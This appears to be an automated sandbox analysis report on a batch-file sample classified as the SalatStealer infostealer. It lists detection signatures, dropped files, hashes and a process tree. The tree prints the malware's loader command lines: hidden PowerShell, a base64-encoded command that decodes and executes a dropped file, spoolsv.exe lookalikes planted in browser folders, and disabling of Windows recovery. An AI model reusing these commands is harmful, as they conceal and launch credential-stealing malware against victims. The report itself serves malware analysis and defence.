Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/10/2026, 03:52

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-ee5dfag13s
  • SHA256 5f8a48b80311297057555ee62c27bfdaaa212dfaba14bb4bde06e7b6eac8a7e1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 19 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 24 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2396
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1040
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2448
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fqwdugf1\fqwdugf1.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4540
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES611.tmp" "c:\Users\Admin\AppData\Local\Temp\fqwdugf1\CSC8A8A8CC15F49424DB8608835C7968292.TMP"
              6⤵
                PID:4468
            • C:\Users\Admin\AppData\Local\Temp\p_8fcbdd83-6af6-4f2f-be4b-024866699bcf.exe
              "C:\Users\Admin\AppData\Local\Temp\p_8fcbdd83-6af6-4f2f-be4b-024866699bcf.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1760
              • C:\Program Files (x86)\Internet Explorer\spoolsv.exe
                "C:\Program Files (x86)\Internet Explorer\spoolsv.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1436
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3696
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:3220
                • C:\Program Files (x86)\Microsoft\Edge\Application\spoolsv.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\spoolsv.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:2416
                • C:\Program Files\Google\Chrome\Application\spoolsv.exe
                  "C:\Program Files\Google\Chrome\Application\spoolsv.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:4452
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:3120
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:1252
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:748

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 ee3ab03ec8e520c50ab249e06c76761e988a674ddc4fa4bf58cf7e66c8a099a1
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8c9a0f1b0c915226698cdf0d92aa7b8fa063c1b31d5ffbbbb4537c67dce98935
                • MD5 SHA1 SHA512 TLSH

                RES611.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES611.tmp
                • Size 1KB
                • SHA256 075cde20057a77610a9c9a446a5c6d7d2e8c7237551cbd8ee00501cce3464484
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_gemcv0th.44j.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gemcv0th.44j.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                fqwdugf1.dll

                • Path C:\Users\Admin\AppData\Local\Temp\fqwdugf1\fqwdugf1.dll
                • Size 5KB
                • SHA256 0743b14c591e3a08689d259494e85cd7b4ba24060f419f80607f47730263f8c1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 23KB
                • SHA256 a6ac248ea124979697dbda596ca6aeccf3ea2b9d5841f236987b26ffdd49d757
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 4.6MB
                • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.l64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
                • Size 10KB
                • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
                • MD5 SHA1 SHA512 SSDEEP TLSH

                p_8fcbdd83-6af6-4f2f-be4b-024866699bcf.exe

                • Path C:\Users\Admin\AppData\Local\Temp\p_8fcbdd83-6af6-4f2f-be4b-024866699bcf.exe
                • Size 3.4MB
                • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
                • MD5 SHA1 SHA512 SSDEEP TLSH

                CSC8A8A8CC15F49424DB8608835C7968292.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\fqwdugf1\CSC8A8A8CC15F49424DB8608835C7968292.TMP
                • Size 652B
                • SHA256 39eeb85dade0607f925f6b91ace0037d7ba2f812c2529758e0015fe1fc2a2411
                • MD5 SHA1 SHA512 TLSH

                fqwdugf1.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\fqwdugf1\fqwdugf1.0.cs
                • Size 2KB
                • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
                • MD5 SHA1 SHA512 TLSH

                fqwdugf1.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\fqwdugf1\fqwdugf1.cmdline
                • Size 369B
                • SHA256 d5bdac2c4b89d7629d5a7b46b7fa5d20a6c5b70e2aa5241d1de9f11bffd98954
                • MD5 SHA1 SHA512 TLSH

                memory/1436-926-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-930-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-924-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-928-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-929-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-862-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-925-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-923-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-931-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-927-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-859-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-893-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-860-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1436-861-0x0000000000FA0000-0x0000000001BF5000-memory.dmp

                memory/1760-851-0x0000000000B60000-0x00000000017B5000-memory.dmp

                memory/1760-858-0x0000000000B60000-0x00000000017B5000-memory.dmp

                memory/1760-850-0x0000000000B60000-0x00000000017B5000-memory.dmp

                memory/1760-849-0x0000000000B60000-0x00000000017B5000-memory.dmp

                memory/1760-846-0x0000000000B60000-0x00000000017B5000-memory.dmp

                memory/2396-0-0x000001CAC8BD0000-0x000001CAC8BE0000-memory.dmp

                memory/2396-1-0x000001CAC8BD0000-0x000001CAC8BE0000-memory.dmp

                memory/2396-9-0x000001CACADC0000-0x000001CACADE2000-memory.dmp

                memory/2416-867-0x0000000000430000-0x0000000001085000-memory.dmp

                memory/2416-870-0x0000000000430000-0x0000000001085000-memory.dmp

                memory/2448-848-0x000001E8C07D0000-0x000001E8C09EC000-memory.dmp

                memory/2448-836-0x000001E8C0790000-0x000001E8C0798000-memory.dmp

                memory/2448-814-0x000001E8BE5F0000-0x000001E8BE600000-memory.dmp

                memory/3696-873-0x0000000004D10000-0x0000000004D76000-memory.dmp

                memory/3696-910-0x0000000007300000-0x000000000730E000-memory.dmp

                memory/3696-892-0x00000000075E0000-0x0000000007C5A000-memory.dmp

                memory/3696-894-0x0000000006F80000-0x0000000006F9A000-memory.dmp

                memory/3696-868-0x0000000002280000-0x00000000022B6000-memory.dmp

                memory/3696-895-0x0000000007140000-0x0000000007172000-memory.dmp

                memory/3696-897-0x0000000070A00000-0x0000000070D54000-memory.dmp

                memory/3696-905-0x0000000007180000-0x000000000719E000-memory.dmp

                memory/3696-896-0x00000000703C0000-0x000000007040C000-memory.dmp

                memory/3696-906-0x00000000071A0000-0x0000000007243000-memory.dmp

                memory/3696-907-0x00000000072A0000-0x00000000072AA000-memory.dmp

                memory/3696-908-0x0000000007370000-0x0000000007406000-memory.dmp

                memory/3696-909-0x00000000072D0000-0x00000000072E1000-memory.dmp

                memory/3696-891-0x0000000006CE0000-0x0000000006D56000-memory.dmp

                memory/3696-911-0x0000000007310000-0x0000000007324000-memory.dmp

                memory/3696-912-0x0000000007410000-0x000000000742A000-memory.dmp

                memory/3696-913-0x0000000007340000-0x0000000007348000-memory.dmp

                memory/3696-919-0x0000000007440000-0x0000000007462000-memory.dmp

                memory/3696-920-0x0000000008210000-0x00000000087B4000-memory.dmp

                memory/3696-889-0x0000000006140000-0x0000000006184000-memory.dmp

                memory/3696-869-0x0000000004DA0000-0x00000000053C8000-memory.dmp

                memory/3696-882-0x0000000005BD0000-0x0000000005BEE000-memory.dmp

                memory/3696-883-0x0000000005C80000-0x0000000005CCC000-memory.dmp

                memory/3696-881-0x00000000055D0000-0x0000000005924000-memory.dmp

                memory/3696-871-0x0000000004AD0000-0x0000000004AF2000-memory.dmp

                memory/3696-872-0x0000000004BF0000-0x0000000004C56000-memory.dmp

                memory/4452-888-0x00000000009E0000-0x0000000001635000-memory.dmp

                memory/4452-890-0x00000000009E0000-0x0000000001635000-memory.dmp